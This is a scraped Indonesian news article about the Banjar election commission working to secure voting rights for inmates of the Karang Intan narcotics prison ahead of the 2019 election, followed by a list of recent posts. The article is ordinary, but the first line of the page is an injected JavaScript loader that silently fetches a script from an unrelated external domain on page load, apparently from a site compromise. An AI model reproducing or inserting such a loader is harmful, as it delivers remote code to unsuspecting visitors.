(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

KPU Banjar Pastikan Warga Binaan di Lapas Dapatkan Hak Pilihnya


MARTAPURA, Guna mematangkan persiapan pemiu 2019, KPU Banjar menyambangi warga binaan di Lembaga Pemasyarakatan (Lapas) Narkotika Klas 2A Karang Intan, Jumat (6/7) lalu. Kegiatan tersebut guna mensosialisasikan agenda pemilu dan berharap partisipasi warga binaan untuk menggunakan hak pilihnya.

Ketua Komisi Pemilihan Umum (KPU) Banjar Muhaimin S.Ag kepada Kanalkalimantan.com mengatakan, tujuan kedatanganya ke Lapas Karang Intan tersebut tidak lain untuk memastikan semua warga binaan Lapas Karang Intan Kabupaten Banjar tersebut dapat menggunakan hak pilihnya dalam pesta pemilu tahun 2019 nanti.

“Hari itu kami konsolidasi data pemilih ke Lapas Karang Intan untuk warga binaan narkoba, dan dari hasil konsolidasi tersebut, ternyata kalau untuk warga binaan di Lapas itu tidak memiliki kartu tanda penduduk (KTP). Karena KTP mereka sudah ditahan ketika mereka di masukan ketahanan oleh Polisi,” ujarnya ditemui di Kantor KPU Banjar Jalan A Yani km 39 Komplek Pangeran Antasari (Kompas) Martapura.

Dan untuk solusinya sendiri menurut Muhaimin, KPU Banjar harus berkoordinasi terlebih dahulu dengan Dinas Kependudukan dan Catatan Sipil (Disdukcapil) Banjar untuk mensinkronasikan data pemilih, bagaimana caranya agar mereka dapat surat keteranagn kependudukan.

Bahkan terkait warga binaan yang berdomisili di luar Kabupaten Banjar, Muhaimin menerangkan, juga akan berkoordinasi dengan pihak Disdukcapil Provinsi. “Yang nantinya akan kita bawa ke rapat koordinasi, tentang persoalan ini, yang jelas baik KPU mau pun Lapas Karang Intan mempunyai komitmen yang sama agar semua warga binaan itu mendapatkan hak pilihnya dan tidak ada yang tidak terlaksana,” tegasnya.

Masih menurut Muhaimin , terkait warga binaan yang sama sekali tidak memiliki atau terdaftar di Disdukcapil tersebut menurutnya, biasanya kalau mereka sudah fingerprint itu akan muncul data mereka, akan tetapi jika tidak terdata, itu nanti bisa diberikan surat keterangan khusus dari Disdukcapil yang tercatat sebagai warga Kabupaten Banjar.

Terkait dimana nanti Tempat Pemungutan Suara (TPS) untuk warga binaan, dia menjawab, secara teknis akan dilaksanakan di Lapas Karang Intan. “Mungkin nanti apakah ada TPS khusu untuk mereka, yang jelas kita masih menunggu ketentuan-ketentuan yang turun dari KPU Pusat. Dan untuk info selanjutnya nanti akan kita sampaikan lagi, yang jelas KPU tetap berkomitmen agar setiap warga Negara untuk menyatakan hak pilihnya harus bisa dimungkinkan,” pungkasnya. (rendy)

Reporter:Rendy
Editor:Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Bupati dan Sekda Banjar Jenguk Kondisi Warga Terdampak Banjir di Desa Pemakuan dan Pembantanan

KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More

5 jam ago

Gempa Dangkal Terjadi di Balangan dan Kotabaru

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More

6 jam ago

Diterjang Banjir Bandang Jembatan Penghubung Desa Langkap – Raranum Putus

KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More

9 jam ago

Banjir Balangan Meluas 13.531 Jiwa Terdampak di 30 Desa

KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More

9 jam ago

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

10 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

10 jam ago

This website uses cookies.